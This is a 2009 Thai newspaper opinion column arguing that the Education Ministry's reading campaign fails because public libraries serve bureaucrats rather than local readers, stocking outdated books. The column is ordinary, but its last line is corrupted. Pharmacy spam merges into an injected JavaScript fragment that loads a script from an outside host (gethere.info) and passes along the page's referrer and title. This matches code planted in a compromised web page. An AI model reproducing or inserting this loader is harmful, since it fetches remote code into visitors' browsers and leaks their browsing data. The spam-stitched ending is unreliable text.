หนังสือพิมพ์มติชน ฉบับประจำวันพฤหัสบดีที่ 16 เมษายน 2552

“การอ่านเป็นวาระของชาติ” เป็นคำขวัญให้ความสำคัญการอ่านที่กระทรวงศึกษาธิการประดิษฐ์คิดค้นขึ้นมา แล้วโฆษณาผ่านสื่อต่างๆ

ขณะเดียวกัน  สื่อต่างๆพากันเสนอข่าวว่า  คนไทยอ่านหนังสือน้อยกว่าคนชาติอื่นๆ บางคนไม่อ่านเลย

ถ้าการอ่านเป็นวาระของชาติ แต่ “ของชาติที่ไม่อ่าน” (หนังสือ) แล้วที่คิดคำขวัญให้เป็นวาระของชาติจะมีประโยชน์อะไร?

“การอ่านเป็นวาระของชาติที่ไม่อ่าน” คงมาจากหลายสาเหตุด้วยกันจนรวบรวมไม่หมด

มีอย่างหนึ่งที่เป็นเหตุสำคัญคือ “ห้องสมุด” เช่น “ห้องสมุดประชาชน” ที่กระทรวงศึกษาธิการ (ศธ.) มอบให้สำนักงานส่งเสริมการศึกษานอกระบบและการศึกษาตามอัธยาศัย(กศน.)ดูแลทั่วประเทศ

แต่ ศธ. และ กศน. จะรู้หรือไม่ว่า ห้องสมุด “ประชาชน” ไม่ใช่สถานที่ของ “ประชาชน” ไปอ่านหนังสือ หากเป็นของราชการที่อยู่ในอำนาจเบ็ดเสร็จเด็ดขาดของราชการ

ห้องสมุดประชาชนจึงไม่สนองความต้องการของประชาชนในท้องถิ่นนั้นๆ  เพราะมุ่งแต่สนองความต้องการของ “นาย” ในกระทรวงทบวงกรมที่เป็นผลผลิต “ของชาติที่ไม่อ่าน”

เมื่อวงจรอุบาทว์เป็นอย่างนั้นเสียแล้ว  ในห้องสมุดประชาชนก็ไม่มีหนังสือน่าอ่าน  ถ้าจะมีอยู่บ้างก็เป็นหนังสือพ้นสมัยและล้าสมัย ไม่น่าอ่าน

หนังสือน่าอ่านจะมีน้อย  แต่หนังสือไม่น่าอ่านจะมีมากเต็มไปหมด  เพราะผู้อำนวยการที่ดูแลห้องสมุดหาหนังสือ “ราชการ” เล่มโตๆมายัดให้เต็มชั้นหนังสือ  เพื่อให้ “นาย” มาตรวจ จะได้ประจบสอพลอด้วยการแสดงประสิทธิภาพกับประสิทธิผลหลอกๆของตน
แต่ประชาชนชาวบ้านในชุมชนท้องถิ่นเสียโอกาสมหาศาล

ในที่สุด ประชาชนก็ไม่เข้าห้องสมุดประชาชน  เพราะราชการไม่ได้ทำเพื่อสนองความต้องการของประชาชน  แล้วประชาชนก็ไม่มีสิทธิ์ไม่มีเสียงว่ากล่าวใดๆ  เพราะห้องสมุดประชาชนไม่ใช่ของประชาชน  แต่เป็นของราชการ และอยู่ในอำนาจราชการ

การอ่านจึงเป็นวาระของชาติที่ไม่อ่านด้วยประการฉะนี้

แต่กระทรวงศึกษาธิการก็ต้องพยายามต่อไปจนสุดใจขาดดิ้น  ให้ประเทศไทยเป็น“ชาติที่อ่าน”อย่างสมภาคภูมิกับคำขวัญที่สู้คิดได้ว่า “การอ่านเป็นวาระของชาติ” (ที่อ่าน)

ที่จริงแล้ว กระทรวงศึกษาฯควรสร้างเครือข่ายไปยังผู้มี “ความรักและศรัทธาอ่าน-เขียน-เรียน-หนังสือ” ยกตัวอย่าง เช่น

คุณมกุฏ  อรฤดี (บรรณาธิการบริหารสำนักพิมพ์ผีเสื้อ) ที่เสนอ “โครงการวิจัยระบบหนังสือหมุนเวียน” และ “การจัดห้องสมุดหนังสือดี 100 แห่งในเมืองหลวงกรุงเทพฯ”

นอกจากนี้ยังมีคนอื่นๆอีกมากทั้งอยู่ในกรุงเทพฯ และอยู่ต่างจังหวัดที่มีความรักและศรัทธาหนังสือกับห้องสมุด และยินดีร่วมมือทุกอย่างให้ห้องสมุดเป็นของประชาชน

แต่แล้วก็ต้องจำนนต่อความจริงที่ว่าบรรดา “นาย” ล้วนเป็นผลผลิตของ  “ชาติที่ไม่อ่าน” จึงไม่สร้างเครือข่ายขอความร่วมมือให้เหนื่อยยาก ดังนั้นประชาชนรอบๆห้องสมุดประชาชนต้องทนซวยไปทั้งปีทั้งชาติ

booke0b8b416-04-52

หนังสือน่าอ่านอย่างเล่มนี้หายากมากในห้องสมุดประชาชน หรืออาจไม่มีเลยก็ได้ เพราะคนดูแลห้องสมุดฯรับบริจาคมาแล้ว แต่อาจเอาไปขายต่อให้ประชาชนที่อยากอ่าน เพราะเคยมีกรณีตัวอย่างมาแล้วfluoxetine drug buy extra super cialis onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;